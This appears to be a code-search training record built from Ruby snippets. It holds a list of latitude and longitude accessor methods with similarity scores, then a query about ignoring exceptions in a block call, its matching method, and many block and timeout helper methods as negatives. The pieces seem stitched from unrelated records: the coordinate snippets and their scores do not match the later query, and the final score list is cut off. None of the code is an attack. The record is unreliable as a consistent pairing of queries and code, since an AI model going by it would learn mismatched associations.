"def construct_longitude\n unless [@longitude_degrees, @longitude_minutes, @longitude_milli_minutes, @longitude_hemisphere].all? { |attr| attr.blank? }\n default_to_zero :@longitude_minutes, :@longitude_milli_minutes\n long_deg = to_bounded_float @longitude_degrees, 180, :@longitude_degrees_invalid\n long_min = to_bounded_float @longitude_minutes, 59, :@longitude_minutes_invalid\n long_milli_min = to_bounded_float @longitude_milli_minutes, 999, :@longitude_milli_minutes_invalid\n long_hem = to_hemisphere @longitude_hemisphere, %w(E W), :@longitude_hemisphere_invalid\n\n unless @longitude_degrees_invalid || @longitude_minutes_invalid ||\n @longitude_milli_minutes_invalid || @longitude_hemisphere_invalid\n self.longitude = coordinates_to_float long_deg, long_min, long_milli_min, long_hem\n end\n end\n end",
"def latitude\n \tif(self.coordinates != nil)\n\t \treturn self.coordinates.y\n\t else\n\t \treturn nil\n\t end\n end",
"def latitude\n \tif(self.coordinates != nil)\n\t \treturn self.coordinates.y\n\t else\n\t \treturn nil\n\t end\n end",
"def lat_lon\n [lat, lon]\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def longitude_latitude\n attrs = sample_attributes_array\n\n longitude = attrs.first_matching('longitude') #e.g. SRR027089\n longitude ||= attrs.first_matching('Geographic location (longitude)') #e.g. ERR193639\n\n latitude = attrs.first_matching('latitude')\n latitude ||= attrs.first_matching('Geographic location (latitude)')\n\n if longitude and latitude\n if longitude[1].match(/^\\d+\\.\\d+$/) and latitude[1].match(/^\\d+\\.\\d+$/)\n return longitude[1].to_f, latitude[1].to_f\n else\n # Hell begins here. e.g. ERR011387 => 40º 02’ N\n return nil\n end\n elsif hit = attrs.first_matching('lat_lon')\n if matches = hit[1].match(/^(\\d+\\.\\d+) (\\d+\\.\\d+)$/)\n return matches[1].to_f, matches[2].to_f\n else\n return nil\n end\n else\n return nil\n end\n end",
"def longitude=(long)\n self.longitude_times_1000000 = long.nil? ? nil : long * 1_000_000.0\n end",
"def longitude_for(image_meta)\n image_meta&.gps&.longitude\n end",
"def lat\n @position[0]\n end",
"def latitude\n coordinates[0];\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def set_Longitude(value)\n set_input(\"Longitude\", value)\n end",
"def lat_lng\n lng_lat.reverse\n end",
"def to_latlong\n end",
"def longitude_latitude\n @items[:lonlat].values.map{|group| group.first }\n end",
"def latlon\r\n [latitude,longitude]\r\n end",
"def latlon\r\n [latitude,longitude]\r\n end",
"def latlon\r\n [latitude,longitude]\r\n end",
"def y\n @location.y\n end",
"def get_y coords\n coords.last\n end",
"def lat\n return self.city['lat'].to_f\n end",
"def latitude\n -37.8136\n end",
"def latitude_longitude\n lambda {|d|\n if d.latitude_start?\n d.latitude = d.latitude_start\n d.delete :latitude_start\n end\n\n if d.longitude_start?\n d.longitude = d.longitude_start\n d.delete :longitude_start\n end\n log.info \"#{d.latitude} #{d.longitude}\"\n d\n }\n end",
"def lat\r\n return @latitude\r\n end",
"def lat\n round(@lat)\n end",
"def ll\n \"#{lat},#{lng}\"\n end",
"def ll\n \"#{lat},#{lng}\"\n end",
"def lat_lon\n [latitude, longitude].join(',')\n end",
"def latlng\n [lat, lon]\n end",
"def lat\n self.event['lat'].to_f\n end",
"def coordinate \n @coordinate\n end",
"def lat\n return self.rsvp['lat'].to_f\n end",
"def min_longitude\n query_root_node(\"fao:hasMinLongitude/text()\", @@NAMESPACES).to_s\n end",
"def get_long(pos=nil)\n if pos.class == Fixnum && !block_given?\n return @j_del.java_method(:getLong, [Java::int.java_class]).call(pos)\n end\n raise ArgumentError, \"Invalid arguments when calling get_long(pos)\"\n end",
"def max_position\n MSPhysics::Newton::Corkscrew.get_max_position(@address)\n end",
"def user_coordinate\r\n\t\tconvert_coordinate(1)\r\n\tend",
"def location\n [lat.to_f / 100_000, lng.to_f / 100_000]\n end",
"def get_latitude\n get_coord['lat']\n end",
"def set_MaxLongitude(value)\n set_input(\"MaxLongitude\", value)\n end",
"def set_MaxLongitude(value)\n set_input(\"MaxLongitude\", value)\n end",
"def max_latitude\n query_root_node(\"fao:hasMaxLatitude/text()\", @@NAMESPACES).to_s\n end",
"def coordinates\n [latitude, longitude]\n end",
"def max_coordinates\n\t\t\tunless @max_coordinates\n\t\t\t\tmax = @matrix.map(&:max).max\n\t\t\t\t@max_coordinates = self.class.new(@matrix.map{|row| row.map{|i| max - i}}).min_coordinates\n\t\t\tend\n\n\t\t\treturn @max_coordinates\n\t\tend",
"def coordinate_to_decimal\n\t\treturn nil if self.blank?\n\t\tresult = 0.0\n\t\tminus = false\n\t\t\n\t\t# Degrees\n\t\tsplitted_1 = self.split(\"°\")\n\t\treturn nil if splitted_1.length != 2\n\t\tresult += splitted_1[0].to_i.to_f\n\n\t\t# Minus correction\n\t\tif result < 0.0\n\t\t\tminus = true\n\t\t\tresult = -result\n\t\tend\n\n\t\t# Minutes\n\t\tsplitted_2 = splitted_1[1].split(\"'\")\n\t\treturn nil if splitted_2.length != 2\n\t\tresult += (splitted_2[0].to_i.to_f / 60.to_f).to_f\n\n\t\t# Seconds\n\t\tresult += (splitted_2[1].to_f / 3600.to_f).to_f\n\n\t\t# Minus correction\n\t\tif minus\n\t\t\tresult = -result\n\t\tend\n\n\t\treturn result\n\tend",
"def get_long\n get(4).unpack('l')\n end",
"def latitude\n self.to_coordinates[0]\n end",
"def lng=(lng)\n @lng=lng.to_f if lng\n end",
"def api\n CLLocationCoordinate2DMake(latitude, longitude)\n end",
"def lat_f\n lat.to_f\n end",
"def get_y(coordinates)\n y = coordinates.downcase[/[1-3]/]\n translate_coordinate(y)\n end",
"def lng=(lng)\n @lng = lng.to_f if lng\n end",
"def y\n OFFSET_FROM_TOP + (coordinates.y * 700).to_i\n end",
"def y\n @position.y\n end",
"def coordinate\n x = ((position-1) / area.x_max) + 1\n y = position - (x-1) * area.x_max\n \"(#{x}, #{y})\"\n end",
"def latitude\n @latitude\n end",
"def lng_dms\n self.class.decimal_to_dms(lng)\n end",
"def lat_dms\n self.class.decimal_to_dms(lat)\n end",
"def get_coord\n @single_city_data['coord']\n end",
"def latitude; end",
"def to_coordinates\n [latitude, longitude]\n end"
] |
[
"0.86828744",
"0.82348293",
"0.822472",
"0.80912775",
"0.806118",
"0.79826885",
"0.79341197",
"0.7801044",
"0.7653951",
"0.7617614",
"0.73927003",
"0.73670065",
"0.72800153",
"0.71187216",
"0.7035157",
"0.7000586",
"0.6957537",
"0.6906267",
"0.68618035",
"0.6857905",
"0.6703732",
"0.657803",
"0.64041466",
"0.6401495",
"0.63211787",
"0.63211787",
"0.6270467",
"0.6222155",
"0.6222155",
"0.61814696",
"0.61728257",
"0.6171717",
"0.6171717",
"0.6171717",
"0.6171717",
"0.6171717",
"0.6171717",
"0.6171717",
"0.6171717",
"0.6171717",
"0.6171717",
"0.6171717",
"0.61714",
"0.61714",
"0.61714",
"0.6151421",
"0.6131693",
"0.6124714",
"0.6124401",
"0.61070323",
"0.6103459",
"0.6103459",
"0.60518605",
"0.6042002",
"0.603903",
"0.60390085",
"0.60390085",
"0.60390085",
"0.60332227",
"0.59647197",
"0.5923394",
"0.59161985",
"0.5893111",
"0.587289",
"0.58625644",
"0.5849902",
"0.5849902",
"0.5819897",
"0.5819789",
"0.58133036",
"0.5793356",
"0.5783413",
"0.5764215",
"0.5690687",
"0.5665392",
"0.56497395",
"0.5627332",
"0.55935866",
"0.55889434",
"0.55889434",
"0.5582333",
"0.55820924",
"0.55730706",
"0.5569282",
"0.5569156",
"0.55446225",
"0.55419976",
"0.5530739",
"0.55299866",
"0.5514554",
"0.5511886",
"0.54562306",
"0.5455519",
"0.5453782",
"0.545364",
"0.5443442",
"0.53891784",
"0.5388752",
"0.5382203",
"0.5380207"
] |
0.8222612
|
3
|
Return block.call and ignore any exceptions.
|
def ignore &block
begin; block.call; rescue; end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def callBlock\n yield\n yield\nend",
"def safe_call(&block)\n begin\n block.call\n rescue NoMethodError => e\n nil\n end\n end",
"def call(&block)\n execute(&block) if valid?\n execution_attempted!\n self\n end",
"def call_block(&block)\n block.call\nend",
"def callBlock\n yield ,\n end",
"def call_block\n @_block.call(self) if @_block\n end",
"def call(*args)\n block.call(*args) if block\n end",
"def callBlock\n yield # Invokes block\n yield # Invokes block again\nend",
"def call(*args)\n block.call(*args)\n end",
"def call\n @block.arity < 1 ? self.instance_eval(&@block) : @block.call(self) if @block\n self\n end",
"def call_block(block,stdout,stderr,exitstatus)\n # blocks that take no arguments have arity -1. Or 0. Ugh.\n if block.arity > 0\n case block.arity\n when 1 \n block.call(stdout)\n when 2\n block.call(stdout,stderr)\n else\n # Let it fail for lambdas\n block.call(stdout,stderr,exitstatus)\n end\n else\n block.call\n end\n end",
"def call_explicit_block(&block)\n # block.call another wat of saying yield\n return \"There's no block\" unless block_given?\n yield\n # block.call\nend",
"def call\n [false, yield]\n rescue halt => e\n [true, e.payload[0]]\n end",
"def call(*args, &block)\n @block.call *args, &block\n end",
"def f(&block)\n # The block is a proc.\n block.class == Proc or raise\n block.call\n end",
"def __run_block\n # This may not catch concurrent calls (unless surrounded by a mutex), but\n # it's not worth trying to protect against that. It's enough to just check for\n # multiple non-concurrent calls.\n ::Kernel.raise Error, \"Cannot run async block multiple times\" unless block = @block\n\n @block = nil\n\n begin\n block.call\n rescue ::Exception => e\n WrappedException.new(e)\n end\n end",
"def invoke(args, block)\n \n handle_order_constraint\n\n begin\n Kernel::raise @exception_to_raise.new unless @exception_to_raise.nil?\n Kernel::throw @symbol_to_throw unless @symbol_to_throw.nil?\n\n if !@method_block.nil?\n return invoke_method_block(args)\n elsif !@args_to_yield.nil?\n return invoke_with_yield(block)\n else\n return invoke_return_block(args, block)\n end\n ensure\n @received_count += 1\n end\n end",
"def call(&block)\n instance_eval(&block)\n end",
"def call(&block)\n instance_eval(&block)\n end",
"def call(&block)\n instance_eval(&block)\n end",
"def call_block\n yield('hello', 99)\nend",
"def call_block\n yield('hello', 99)\nend",
"def call_block\n yield('hello', 99)\nend",
"def __execute__\n @result = @block[*@args]\n rescue Exception => e\n @result = e\n ensure\n # Prevent multiple executions\n def self.__execute__; nil; end\n end",
"def call_block \n yield('hello', 99) \nend",
"def call_block \n yield('hello', 99) \nend",
"def execute(block)\n block.call\nend",
"def execute(block)\n block.call\nend",
"def execute(block)\n block.call\nend",
"def execute(block)\n block.call\nend",
"def execute(block)\n block.call\nend",
"def execute(block)\n block.call\nend",
"def execute(block)\n block.call\nend",
"def get_block(*params); raise('Stub or mock required.') end",
"def call\n if @block\n @block.arity < 1 ? self.instance_eval(&@block) : @block.call(self)\n end\n self\n end",
"def call(args)\n raise \"#{description} is unavailable because #{@why_unavailable}\" unless @available\n @block.call(args)\n end",
"def return!(&block); end",
"def block_caller\n result_of_block = yield 'passed from block_caller'\n return result_of_block\nend",
"def my_method(&my_block)\n puts \"hello method\"\n my_block.call\n return my_block\nend",
"def call\n @block.call(*values)\n end",
"def call\n Success(call!)\n rescue => e\n return Failure(e) if whitelisted_error?(e.class)\n\n raise\n end",
"def regardless(&block)\n yield\nrescue\nend",
"def run\n if @block.arity >= 1\n @block.call self\n else\n @block.call\n end\n end",
"def compute\n return yield if block_given?\n\n 'Does not compute.'\nend",
"def my_method(&my_block)\n\n puts \"hello method\"\n\n my_block.call\n\n return my_block\n\nend",
"def call(&block)\n # RODA4: Remove\n catch(:halt) do\n r = @_request\n r.block_result(instance_exec(r, &block)) # Fallback\n @_response.finish\n end\n end",
"def execute(&block)\n block.call\n puts \"End of block\"\nend",
"def execute(&block)\n # block\n block.call\nend",
"def runblock\r\n\t\t\t@b.call\r\n\t\tend",
"def runblock\r\n\t\t\t@b.call\r\n\t\tend",
"def block_caller\n if block_given?\n result_of_block = yield\n return result_of_block\n else\n return 'no block'\n end\nend",
"def return(&block); end",
"def call(&block)\n block.call(self) if block_given?\n self\n end",
"def explicit_block(&sloth)\n sloth.call # same as yield\nend",
"def method_call_with_possible_block(method_name, args, block_contents, *block_arg_names)\n method_call_with_block_or_nothing(method_name, args, block_contents, *block_arg_names) || method_call(method_name, args)\n end",
"def execute(&block)\n block # needs .call method here\nend",
"def try\n if block_given?\n yield\n else\n puts \"no block\"\n end\nend",
"def try\n if block_given?\n yield\n else\n puts 'no block'\n end\nend",
"def block?; end",
"def method_call_with_block_or_nothing(method_name, args, block_contents, *block_arg_names)\n return unless block_contents.present?\n\n block_args = if block_arg_names.present?\n \" |#{block_arg_names.join(\", \")}|\"\n else\n \"\"\n end\n\n unindented_contents = indent(block_contents, 0)\n code = if unindented_contents.size < 40 && !(unindented_contents =~ /\\n/)\n \"#{method_call(method_name, args, true)} {#{block_args} #{unindented_contents} }\"\n else\n <<-DSL\n#{method_call(method_name, args)} do#{block_args}\n#{indent block_contents}\nend\nDSL\n end\n\n strip_trailing_whitespace(code)\n end",
"def call_block\r\n puts \"Start of method\"\r\n yield\r\n yield\r\n puts \"End of method\"\r\nend",
"def execute(&block)\n puts block.call\nend",
"def execute(&block)\n\tblock.call\nend",
"def execute(&block)\n\tblock.call\nend",
"def execute(&block)\n\tblock.call\nend",
"def execute(&block)\n\tblock.call\nend",
"def take_block(&block)\n block.call\nend",
"def take_block(&block)\n block.call\nend",
"def take_block(&block)\n block.call\nend",
"def take_block(&block)\n block.call\nend",
"def take_block(&block)\n block.call\nend",
"def take_block(&block)\n block.call\nend",
"def call_block\n puts \"start\"\n yield \"foobar\" if block_given?\n puts \"end\"\nend",
"def call(*args)\n instance_exec(*correct_arg_arity(block.arity, args), &block)\n end",
"def execute_block(block)\n case\n when block.is_a?(Symbol)\n send(block)\n when block.respond_to?(:call) && (block.arity == 1 || block.arity == -1)\n block.call(self)\n else\n block\n end \n end",
"def execute(&block)\n block.call\nend",
"def _perform(&block)\n\n begin\n\n r = validate\n return r unless r.success?\n\n yield if block_given?\n\n mark_contract_event_as_processed\n\n success\n\n rescue StandardError => se\n\n mark_contract_event_as_failed\n\n return exception_with_data(\n se,\n 'cem_b_1',\n 'exception in contract event management: ' + se.message,\n 'Something went wrong.',\n GlobalConstant::ErrorAction.default,\n {contract_event_obj_id: @contract_event_obj.id}\n )\n\n end\n\n end",
"def __force__\n @mutex.synchronize do\n if @result.equal?(NOT_SET) && @error.equal?(NOT_SET)\n begin\n @result = @block.call\n rescue ::Exception => e\n @error = e\n end\n end\n end if @result.equal?(NOT_SET) && @error.equal?(NOT_SET)\n # BasicObject won't send raise to Kernel\n @error.equal?(NOT_SET) ? @result : ::Kernel.raise(@error)\n end",
"def one\n too { yield }\nendbegin;1;rescue => e1;e1;end",
"def call(*, &block)\n lock_instance.execute(&block)\n end",
"def execute(&block)\n block.call \nend",
"def ejecutar2(&bloque)\r\n if block_given?\r\n bloque.call #same as yield\r\n else\r\n puts 'No tiene bloque asignado'\r\n end\r\nend",
"def call_block2\n yield(\"hello\", 99)\nend",
"def call_meeee(number, zumba, &block)\n block.call()\n block.call\nend",
"def execute(&block)\n\tblock\nend",
"def execute(&block)\n\tblock\nend",
"def run\n block.call\n end",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend",
"def execute(&block)\n block.call\nend"
] |
[
"0.7307136",
"0.7278108",
"0.72582936",
"0.7183618",
"0.71162266",
"0.70423657",
"0.6824858",
"0.68083197",
"0.6780153",
"0.6780119",
"0.6752686",
"0.6752551",
"0.6730992",
"0.6700268",
"0.6682103",
"0.66270113",
"0.66044366",
"0.653387",
"0.653387",
"0.653387",
"0.6531826",
"0.6531826",
"0.6531826",
"0.6530788",
"0.6525517",
"0.6525517",
"0.6522132",
"0.6522132",
"0.6522132",
"0.6522132",
"0.6522132",
"0.6522132",
"0.6522132",
"0.65151924",
"0.65056914",
"0.6500181",
"0.64802605",
"0.6417576",
"0.64132345",
"0.6404688",
"0.6400668",
"0.6400569",
"0.63951075",
"0.63637424",
"0.6360199",
"0.63526416",
"0.6348577",
"0.6343043",
"0.633041",
"0.633041",
"0.6302301",
"0.62997663",
"0.6296409",
"0.6292655",
"0.62217385",
"0.6217335",
"0.6206193",
"0.61897564",
"0.6185484",
"0.61650085",
"0.61511683",
"0.6145348",
"0.61331224",
"0.61331224",
"0.61331224",
"0.6131274",
"0.61215246",
"0.61215246",
"0.61215246",
"0.61215246",
"0.61215246",
"0.61215246",
"0.6112537",
"0.61015403",
"0.6091752",
"0.60902315",
"0.6086678",
"0.6082001",
"0.6081646",
"0.60776514",
"0.6061523",
"0.6036875",
"0.6034578",
"0.60188764",
"0.6017524",
"0.6017524",
"0.6016138",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829",
"0.6004829"
] |
0.6588713
|
17
|
Check every 0.5 seconds to see if block.call returns true. nil is considered a failure. Give up after 30 seconds.
|
def wait_true max_wait=30, interval=0.5, &block
max_wait = 1 if max_wait <= 0
result = nil
timeout max_wait do
until (result = begin; block.call; rescue; end)
sleep interval
end
end
result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def keep_trying_till_true timeout = 30\n t_begin = Time.now\n delay = 10\n loop do\n if yield\n break\n elsif (Time.now - t_begin) > timeout\n fail \"Timeout after trying for #{timeout} seconds\"\n else\n sleep delay\n end\n delay += 1\n end\nend",
"def wait_until(timeout=10, &block)\n time = Time.now\n success = false\n until success\n if (Time.now - time) >= timeout\n raise \"Waited for #{timeout} seconds, but block never returned true\"\n end\n sleep 0.5\n success = yield\n end\n end",
"def wait_until_true timeout=3, interval=0.1\n time_limit = Time.now + timeout\n loop do\n result = yield\n return if result || Time.now >= time_limit\n sleep interval\n end\n end",
"def with_timeout(seconds)\n Timeout.timeout(seconds) do\n yield\n end\nrescue Timeout::Error\n false\nend",
"def timeout_check_equal(duration, expected, &block)\n execute_ok = false\n duration.times do\n sleep(1)\n text = instance_eval(&block)\n execute_ok = true and break if (text == expected)\n end\n execute_ok.should == true\n end",
"def retry_block_until_true\n (0..RETRY_COUNT).each do\n return if yield\n sleep RETRY_STEP\n end\n Puppet.debug get_cluster_debug_report if is_online?\n fail \"Execution timeout after #{RETRY_COUNT * RETRY_STEP} seconds!\"\n end",
"def wait_until(timeout = 30, retry_interval = 0.1, &block)\n start = Time.now\n while (result = !block.call)\n break if (Time.now - start).to_i >= timeout\n sleep(retry_interval)\n end\n !result\nend",
"def verify_block(&blk)\n begin\n return true if yield\n rescue\n false\n end\n end",
"def wait_until(timeout=20, &block)\n time_to_stop = Time.now + timeout\n until yield do\n sleep(0.1) # much less cpu stress\n break if Time.now > time_to_stop\n end\nend",
"def check_block\n finished = @finishable.nil? or @finishable.is_finished?\n puts finished\n if finished\n @finishable, @blocked = nil, false\n return @blocked\n end\n \n @blocked = !finished\n end",
"def try_for(timeout = 30, polling_interval = 1, &block)\n start_time = Time.now\n last_error = nil\n until (duration = Time.now - start_time) > timeout\n begin\n yield\n last_error = nil\n return true\n rescue => e\n last_error = e\n end\n sleep polling_interval\n end\n raise \"Timeout after #{duration.to_i} seconds with error: #{last_error}.\" if last_error\n raise \"Timeout after #{duration.to_i} seconds.\"\n end",
"def contact\n sleep(5)\n return false\n end",
"def run_nonblock(&block)\n @timeout = 0\n run &block\n end",
"def poll(seconds = 5)\n count = seconds * 100\n\n while count > 0 && !yield\n count -= 1\n sleep 0.01\n end\n\n raise 'Poll timeout.' unless yield\nend",
"def wait_until_without_failing(timeout=UI_UPDATE_DELAY)\n start = Time.now\n while ((Time.now - start) <= timeout)\n break if yield\n sleep(WaitHelpers::LOOP_DELAY)\n end\nend",
"def eventually(label, &block)\n current_time = Time.now\n timeout_treshold = current_time + TIMEOUT\n while (block.call == false) && (current_time <= timeout_treshold) do\n sleep 5\n current_time = Time.now\n end\n if (current_time > timeout_treshold)\n fail \"Action '#{label}' did not resolve within timeout: #{TIMEOUT}s\"\n end\nend",
"def time_block\n start = Time.now\n yield\n time = Time.now - start\n puts \"Block took basically 0 time\" if time < 0.001\n raise \"Block took #{time} to execute\" if time > 0.001\nend",
"def continue_execution?\n (Time.now.to_f - scheduled_at.to_f) * 1000.0 < time && thread.alive? && can_exec\n end",
"def valid()\n if (@block) then @block.call(true) end\n end",
"def waiting actual\n interval = 0.5\n i = 0\n while true\n if actual == yield\n return 'true!!'\n end\n i += interval\n puts '.'\n sleep i\n end\n 'false!!'\nend",
"def wait_for(waiting_message = 'something to happen')\n 30.times do\n ret = yield\n return ret if ret\n sleep 0.3\n end\n assert false, \"waiting for #{waiting_message} was not successful\"\n end",
"def non_blocking?()\n #This is a stub, used for indexing\n end",
"def if_ready\n error = @target + @period - Time.now\n if error <= 0\n @target += @period\n elapsed = Time.now - @time_start\n yield elapsed\n end\n end",
"def meta_dl_wait\n $meta_dl_wait_cb = Proc.new if block_given?\n if $metadata_dl_list.values.any? # still downloading\n EM.add_timer(1) { meta_dl_wait } # check again 1s later\n else\n if $meta_fail ### failed !!!!\n meta_fail\n else\n cb = $meta_dl_wait_cb\n $meta_dl_wait_cb = nil\n cb.call\n end\n end\nend",
"def block?\n !!block\n end",
"def assert_callback(time = nil, message = nil)\n called_back = false\n \n EventMachine.next_tick do\n yield(lambda { called_back = true })\n end\n \n start_time = Time.now.to_i\n\n while (!called_back)\n select(nil, nil, nil, 0.1)\n \n if (time and (Time.now.to_i - start_time > time))\n flunk(message || 'assert_callback timed out')\n end\n end\n end",
"def wait_until_blocked(timeout=nil)\n @mutex.synchronize do\n return true unless @blocked == NOT_YET\n\n start = Time.now\n time_to_stop = timeout ? (start + timeout) : nil\n\n logger.debug { \"#{__method__} @blocked: #{@blocked.inspect} about to wait\" } \n @cond.wait(timeout)\n\n if (time_to_stop and (Time.now > time_to_stop)) and (@blocked == NOT_YET)\n return nil\n end\n\n (@blocked == NOT_YET) ? nil : true\n end\n end",
"def block_valid?(block)\n # ...\n end",
"def wait_until_blocked(timeout=nil)\n @mutex.synchronize do\n return true unless @blocked == NOT_YET\n\n start = Time.now\n time_to_stop = timeout ? (start + timeout) : nil\n\n logger.debug { \"#{__method__} @blocked: #{@blocked.inspect} about to wait\" }\n @cond.wait(timeout)\n\n if (time_to_stop and (Time.now > time_to_stop)) and (@blocked == NOT_YET)\n return nil\n end\n\n (@blocked == NOT_YET) ? nil : true\n end\n end",
"def wait_until_not_full; end",
"def retro(tries, *args)\n tries = tries.to_i\n return false if tries == 0 || ! block_given?\n yield(*args)\n return true\n rescue Exception\n sleep(1)\n if (tries = tries - 1) > 0\n retry\n else\n return false\n end\n end",
"def with_timeout( timeout, &block )\n expire = Time.now + timeout.to_f\n sleepy = @sleep_in_ms / 1000.to_f()\n # this looks inelegant compared to while Time.now < expire, but does not oversleep\n loop do\n return true if block.call\n log :debug, \"Timeout for #{@key}\" and return false if Time.now + sleepy > expire\n sleep(sleepy)\n # might like a different strategy, but general goal is not use 100% cpu while contending for a lock.\n end\n end",
"def check_if_block_exists(miner, timestamp)\r\n block_exists = false\r\n winning_miner = nil\r\n $blockchain.length.times do |i|\r\n ts = $blockchain[i].timestamp\r\n block_exists = true if ts == timestamp\r\n winning_miner = $blockchain[i].miner\r\n break if block_exists\r\n end\r\n if block_exists\r\n $status = \"Miner #{miner} is late, block already mined by #{winning_miner}\"\r\n puts \"Miner #{miner} is late, block already mined by #{winning_miner}\".red\r\n end\r\n return block_exists\r\nend",
"def wait_for(&block)\n Retriable.retriable tries: 15, base_interval: 0.05, max_interval: 1.second do\n raise \"Exceeded max retries while waiting for block to pass\" unless block.call\n end\n end",
"def time_ok?\n @time_is_ok ||= check_time\n end",
"def check(callback = nil, &blk)\n Check.new(@loop, callback || blk)\n end",
"def wait(timeout = nil)\n begin\n Timeout::timeout timeout do\n @mutex.synchronize do\n @conditional.wait @mutex if @count > 0\n end\n end\n true\n rescue Timeout::Error\n false\n end\n end",
"def wait_for(wait_max: 3, step: 0.001, &block)\n stop_at = wait_max.seconds.from_now\n\n sleep step while !block.call && (@time = Time.now) < stop_at\n\n fail \"Timeout of #{wait_max} seconds exceeded!\" unless @time < stop_at\nend",
"def block_checker\n block_given?\nend",
"def loop_while(options={}, &block)\n timeout = options.delete(:timeout) || 2500\n timeout = 10 if timeout < 10\n\n result = block_given? ? block.call : true\n while result\n sleep 0.01\n result = block_given? ? block.call : true\n unless result\n timeout -= 10\n raise BarkestLcd::PicoLcdGraphic::Timeout if timeout < 0\n end\n end\n\n true\n end",
"def is_finished?\n @block.call\n end",
"def skip_or_pending_inside_block?(param0 = T.unsafe(nil)); end",
"def failure?\n finished? and !!exception and !timeout?\n end",
"def matches?(block)\n block.call\n return ActionController::Base.cached?(@url)\n end",
"def should_never_happen(deadline_duration = 0.5, check_interval = 0.05)\n deadline = Time.now + deadline_duration\n while Time.now < deadline\n if yield\n raise \"That which shouldn't happen happened anyway\"\n else\n sleep(check_interval)\n end\n end\n end",
"def try(host = 'nodeinfo.hype')\n begin\n Timeout::timeout(5) do\n return true if aaaa(host)\n end\n rescue Timeout::Error\n return false\n end\n end",
"def need_tock?\n if @second == 60\n @second = 0\n tock\n end\n end",
"def check?\n @last_time < @check_time - 100\n end",
"def wait_for(timeout = 30, &block)\n start = Time.now\n while true\n raise RuntimeError, \"Timed out waiting for event\" if Time.now - start > timeout\n\n break if yield\n\n sleep(0.1)\n end\n end",
"def handle_timeout!(timeout)\n # Synchronized so that check and kill operation occur as an\n # atomic operation, see exec above\n @pool_lock.synchronize { \n if @being_executed && (Time.now - @timestamp) > timeout\n RJR::Logger.debug \"timeout detected on thread #{@thread} started at #{@timestamp}\"\n @thread.kill\n return true\n end\n return false\n }\n end",
"def dead? \n if (timer <= 0.0) \n return true\n else \n return false\n end\n end",
"def blocking?\n false\n end",
"def wait_until_running(timeout=5)\n @mutex.synchronize do\n return true if @_running\n @running_cond.wait(timeout)\n !!@_running\n end\n end",
"def wait(max_wait_minutes: 60)\n\t\t\t[3, 5, 7, 15, 30, [60] * (max_wait_minutes - 1)].flatten.each do |sec|\n\t\t\t\tbegin\n\t\t\t\t\tresult = yield\n\t\t\t\t\treturn result if result\n\t\t\t\t\tLog.warn{ \"Received result is not truthy: #{result}.\" }\n\t\t\t\t\tLog.warn{ \"Retry request in #{sec} seconds.\" }\n\t\t\t\t\tsleep sec\n\t\t\t\trescue Jenkins2::NotFoundError, Jenkins2::ServiceUnavailableError => e\n\t\t\t\t\tLog.warn{ \"Received error: #{e}.\" }\n\t\t\t\t\tLog.warn{ \"Retry request in #{sec} seconds.\" }\n\t\t\t\t\tsleep sec\n\t\t\t\tend\n\t\t\tend\n\t\t\tLog.error{ \"Tired of waiting (#{max_wait_minutes} minutes). Give up.\" }\n\t\t\tnil\n\t\tend",
"def check\n # TODO check if should execute this(because of connection exception)\n if valid_check_interval? && Device::Network.connected? == Device::Network::SUCCESS\n if @fiber.alive?\n if (notification = @fiber.resume)\n Notification.execute(NotificationEvent.new(notification))\n end\n else\n if Device::Notification.create_fiber?(true)\n self.close\n @fiber = create_fiber\n end\n end\n @last_check = Time.now\n end\n end",
"def _timeout? changed_time, timeout\n\t\t@current_time ||= Time.now\n\t\t(@current_time - changed_time - timeout) > 0 ? true : false\n\tend",
"def waitUntil\n until yield\n sleep 0.5\n end\nend",
"def i_check_if_block\n if block_given?\n yield\n else\n puts \"no block\"\n end\nend",
"def examine_block\n if accepted?\n worker && worker.report_accepted_block(self)\n end\n true\n end",
"def can_wait_objection?\n seconds.count >= 2\n end",
"def should_never_happen(deadline_duration = 0.5, check_interval = 0.05)\n deadline = Time.now + deadline_duration\n while Time.now < deadline\n if yield\n raise \"That which shouldn't happen happened anyway\"\n else\n sleep(check_interval)\n end\n end\n end",
"def any_method_returned_true?\n # will return true if one of block methods returns true\n # when called with \"next if\"\n true unless yield # AAAAAAAA!\n end",
"def done?\n\t\treturn @num_valid == @max_block\n\tend",
"def check_idle_servers!\n\t\tmust_not_be_in_synchronize_block\n\t\t@lock.synchronize do\n\t\t\t@next_cleaning_time = Time.now - 60 * 60\n\t\t\t@cond.signal\n\t\tend\n\tend",
"def fire_on_lock_timeout(li, dt)\n return true unless @lock_timeout_callback\n @lock_timeout_callback.call(li, dt)\n end",
"def brute_wait(delay)\n sleep(delay)\n end",
